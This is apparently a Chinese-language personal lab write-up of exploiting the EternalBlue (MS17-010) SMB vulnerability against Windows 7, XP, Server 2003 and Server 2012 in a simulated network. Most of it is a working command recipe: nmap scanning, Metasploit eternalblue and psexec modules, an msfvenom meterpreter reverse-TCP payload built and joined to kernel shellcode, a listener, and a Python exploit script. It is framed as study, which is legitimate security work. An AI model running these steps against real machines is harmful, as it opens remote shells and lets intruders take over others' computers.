永恒之蓝实验笔记-copy

*郑重声明:本文展示的过程是在模拟环境中进行的,只为学习研究之用,如有人用于非法用途,产生的后果笔者不负任何责任。

先放上参考链接:
(1) https://github.com/rapid7/metasploit-framework/pull/9473
(2) https://www.youtube.com/watch?v=jrql8dJoEH0
(3) https://github.com/worawit/MS17-010

本次实验的目标一共四个:win7 , win xp , win server 2003, win server 2012.
实验环境是kali, 工具是metasploit.

第一步,扫描目标ip端,可以使用goby(https://gobies.org/#dl),或nmap。Windows环境下可以使用goby,可以扫出漏洞信息,但是不好分辨目标操作系统版本。goby对win10用户很不友好,所以选择了在kali中使用nmap。直接执行`nmap 192.168.27.0-145 -O`即可扫描该ip段的设备操作系统信息,稍等一会扫描结束才会显示结果,着急的人也可以折磨Enter键来查看进度。聪明的小伙伴这时候就选择了界面版nmap,而不是像本人一样,努力瞪大眼睛在黑漆漆的背景下搜寻那几个渺小的字母。。。(emmm其实可以使用终端的搜索直接定位windows关键字的)

定位到目标IP和对应的操作系统后就可以开始实验了。

第二步,打开在终端输入msfconsole,进入msf。
输入search ms17-010,所搜可利用模块。

以下介绍不同版本操作系统的利用方法。

1. win 7

执行以下命令即可获取Guest用户的shell:

1
use exploit/windows/smb/ms17_010_eternalblueset rhosts 192.168.27.107exploit

2. win xp 和win server 2003

这两个的利用方法一样,就放在一起吧。

1
use auxiliary/admin/smb/ms17_010_commandset rhost 192.168.27.227exploit
1
use exploit/windows/smb/ms17_010_psexecset rhost 192.168.27.227exploit

3. win server 2012

参考文章开头的视频教程,先下载exploit包

根据视频中的内容,首先需要安装nasm编译工具(这里不再详细说了),再将下载的exploit包解压,使用nasm工具编译其中的eternalblue_kshellcode_x64.asm文件。再使用msfvenom工具生成木马程序,在目标主机上执行。即可在本地监听通信。

以下为主要步骤:

(1) 切换至exploit包的shellcode目录;
(2)nasm -f bin eternalblue_kshellcode_x64.asm ,可以看到生成了eternalblue_kshellcode_x64文件;
(3) msfvenom -p windows/x64/meterpreter/reverse_tcp -f raw -o meterpreter_msf.bin EXITFUNC=thread LHOST=192.168.27.241 LPORT=4444,可以看到生产了meterpreter_msf.bin文件(LHOST为本地主机ip);
(4)cat eternalblue_kshellcode_x64 meterpreter_msf.bin > meterpreter.bin
(5) 将meterpreter.bin文件复制到上一层目录;
(6)切换至上一层目录,即exploit包的根目录,执行gedit eternalblue_eploit8.py, 将USERNAME改为’Gusest’,并保存;

(7) 另起一个终端,进入msfconsole
(8) use exploit/multi/handler
(9) set payload windows/x64/meterpreter/reverse_tcp
(10) set lhost 192.168.27.241
(11) set lport 4444
(12) exploit,开启监听

(13)回到刚才的终端,执行脚本,将exploit和木马程序meterpreter.bin发送至目标主机:
python eternalblue_exploit8.py 192.168.27.67 meterpreter.bin

顺利的话,这里就应该能看到msf监听到的通信建立过程了,然而,执行完最后一个命令msf终端毫无反应。没有什么是一帆风顺的,这正是时间的常理。

经过老大的提示,在命令后加个500就可以了!果然!成功了!Yeah!

那这个500是啥呢,经过一番搜索发现, 它是一个安全标识符(SID),是标识用户、组和计算机账户的唯一号码。两次创建统一名称的账户,分配给它的SID是不同的。通常情况下SID是唯一的,很多值都是固定的,比如500代表管理员账号Administrator,501代表Guest账号。

emmm不过当时没有注意是guest账户还是Administrator账户,下次可以看下。